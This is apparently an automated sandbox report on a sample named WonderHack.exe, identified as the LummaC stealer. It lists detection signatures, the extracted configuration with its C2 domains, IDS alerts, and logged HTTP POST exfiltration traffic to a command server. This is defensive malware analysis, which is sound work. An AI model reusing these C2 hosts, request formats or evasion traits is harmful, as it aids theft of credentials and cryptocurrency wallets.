Edit tour

Windows Analysis Report
WonderHack.exe

Overview

General Information

Sample name:	WonderHack.exe
Analysis ID:	1579560
MD5:	65fc002ab58b0dc2e95e19b1f308a354
SHA1:	68ccb931b324d2988f0bad099dac28ae10dd7588
SHA256:	42c47b4221417b2f52c1e783e06d01401b8064a715eb88c54c8d00db8016a2ec
Tags:	exeuser-aachum
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found evasive API chain (date check)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

WonderHack.exe (PID: 6572 cmdline: "C:\Users\user\Desktop\WonderHack.exe" MD5: 65FC002AB58B0DC2E95E19B1F308A354)

conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WonderHack.exe (PID: 3696 cmdline: "C:\Users\user\Desktop\WonderHack.exe" MD5: 65FC002AB58B0DC2E95E19B1F308A354)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["smash-boiling.cyou", "supporse-comment.cyou", "ripe-blade.cyou", "bellflamre.click", "greywe-snotty.cyou", "steppriflej.xyz", "pollution-raker.cyou", "sendypaster.xyz", "hosue-billowy.cyou"], "Build id": "LPnhqo--ybzklzpanlwp"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.2527201915.0000000000F51000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: WonderHack.exe PID: 3696	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: WonderHack.exe PID: 3696	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: WonderHack.exe PID: 3696	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.WonderHack.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.WonderHack.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:48:34.217069+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	193.143.1.9	443	TCP
2024-12-23T00:49:06.217277+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	193.143.1.9	443	TCP
2024-12-23T00:49:09.290585+0100	2028371	3	Unknown Traffic	192.168.2.4	49760	23.55.153.106	443	TCP
2024-12-23T00:49:11.733313+0100	2028371	3	Unknown Traffic	192.168.2.4	49765	104.21.66.86	443	TCP
2024-12-23T00:49:13.815665+0100	2028371	3	Unknown Traffic	192.168.2.4	49771	104.21.66.86	443	TCP
2024-12-23T00:49:16.153911+0100	2028371	3	Unknown Traffic	192.168.2.4	49777	104.21.66.86	443	TCP
2024-12-23T00:49:18.401160+0100	2028371	3	Unknown Traffic	192.168.2.4	49784	104.21.66.86	443	TCP
2024-12-23T00:49:20.953353+0100	2028371	3	Unknown Traffic	192.168.2.4	49793	104.21.66.86	443	TCP
2024-12-23T00:49:23.663286+0100	2028371	3	Unknown Traffic	192.168.2.4	49800	104.21.66.86	443	TCP
2024-12-23T00:49:26.284170+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	104.21.66.86	443	TCP
2024-12-23T00:49:30.201674+0100	2028371	3	Unknown Traffic	192.168.2.4	49817	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:49:12.482826+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49765	104.21.66.86	443	TCP
2024-12-23T00:49:14.582391+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49771	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:49:12.482826+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49765	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:49:14.582391+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49771	104.21.66.86	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:48:02.275654+0100	2058212	1	Domain Observed Used for C2 Detected	192.168.2.4	54073	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:49:17.087529+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49777	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T00:49:10.056462+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49760	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.1704771432.0000000002F51000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["smash-boiling.cyou", "supporse-comment.cyou", "ripe-blade.cyou", "bellflamre.click", "greywe-snotty.cyou", "steppriflej.xyz", "pollution-raker.cyou", "sendypaster.xyz", "hosue-billowy.cyou"], "Build id": "LPnhqo--ybzklzpanlwp"}

Multi AV Scanner detection for submitted file

Source: WonderHack.exe	Virustotal: Detection: 38%			Perma Link
Source: WonderHack.exe	ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: WonderHack.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: pollution-raker.cyou
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: hosue-billowy.cyou
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ripe-blade.cyou
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: smash-boiling.cyou
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: supporse-comment.cyou
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: greywe-snotty.cyou
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: steppriflej.xyz
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sendypaster.xyz
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bellflamre.click
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000002.00000002.2584594143.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: LPnhqo--ybzklzpanlwp

Source: WonderHack.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.4:49806 version: TLS 1.2

Source: WonderHack.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\WonderHack.exe

Code function: 0_2_00CB9126 FindFirstFileExW,FindNextFileW,FindClose,FindClose,

0_2_00CB9126

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058212 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click) : 192.168.2.4:54073 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49765 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49765 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49760 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49771 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49771 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49777 -> 104.21.66.86:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: smash-boiling.cyou
Source: Malware configuration extractor	URLs: supporse-comment.cyou
Source: Malware configuration extractor	URLs: ripe-blade.cyou
Source: Malware configuration extractor	URLs: bellflamre.click
Source: Malware configuration extractor	URLs: greywe-snotty.cyou
Source: Malware configuration extractor	URLs: steppriflej.xyz
Source: Malware configuration extractor	URLs: pollution-raker.cyou
Source: Malware configuration extractor	URLs: sendypaster.xyz
Source: Malware configuration extractor	URLs: hosue-billowy.cyou

Performs DNS queries to domains with low reputation

Source:	DNS query: sendypaster.xyz
Source:	DNS query: steppriflej.xyz

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 193.143.1.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 193.143.1.9:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49793 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49760 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49784 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49817 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49765 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49800 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49771 -> 104.21.66.86:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=38YTQXSPNP1CBNUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18146Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=AF7HU3P5H1TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8749Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D4D6LD3A1MO86BTXG0IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20450Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SBUV6UEUOZ0XP5QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1225Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WQKZ4A7CKB5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587715Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: WonderHack.exe, 00000002.00000003.2430204975.0000000000F08000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: .fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https: equals www.youtube.com (Youtube)
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: d.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: d.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=32d8a0bc1b3577f29e8cdb62; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSun, 22 Dec 2024 23:49:09 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: bellflamre.click
Source: global traffic	DNS traffic detected: DNS query: sendypaster.xyz
Source: global traffic	DNS traffic detected: DNS query: steppriflej.xyz
Source: global traffic	DNS traffic detected: DNS query: greywe-snotty.cyou
Source: global traffic	DNS traffic detected: DNS query: supporse-comment.cyou
Source: global traffic	DNS traffic detected: DNS query: smash-boiling.cyou
Source: global traffic	DNS traffic detected: DNS query: ripe-blade.cyou
Source: global traffic	DNS traffic detected: DNS query: hosue-billowy.cyou
Source: global traffic	DNS traffic detected: DNS query: pollution-raker.cyou
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430172119.0000000000F61000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2430172119.0000000000F61000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: WonderHack.exe, 00000002.00000002.2585120871.0000000000EAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered_
Source: WonderHack.exe, 00000002.00000003.2407264912.0000000000F58000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: WonderHack.exe, 00000002.00000003.2478133377.0000000003325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: WonderHack.exe, 00000002.00000003.2430953439.000000000332B000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431176780.0000000003329000.00000004.00000800.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2431020872.0000000003329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: WonderHack.exe, 00000002.00000003.2407221661.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, WonderHack.exe, 00000002.00000003.2407281203.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: WonderHack.exe, 00000002.00000003.2479583191.00000000032E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: WonderHack.exe, 00000002.00000003.2407396885.0000000000F08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
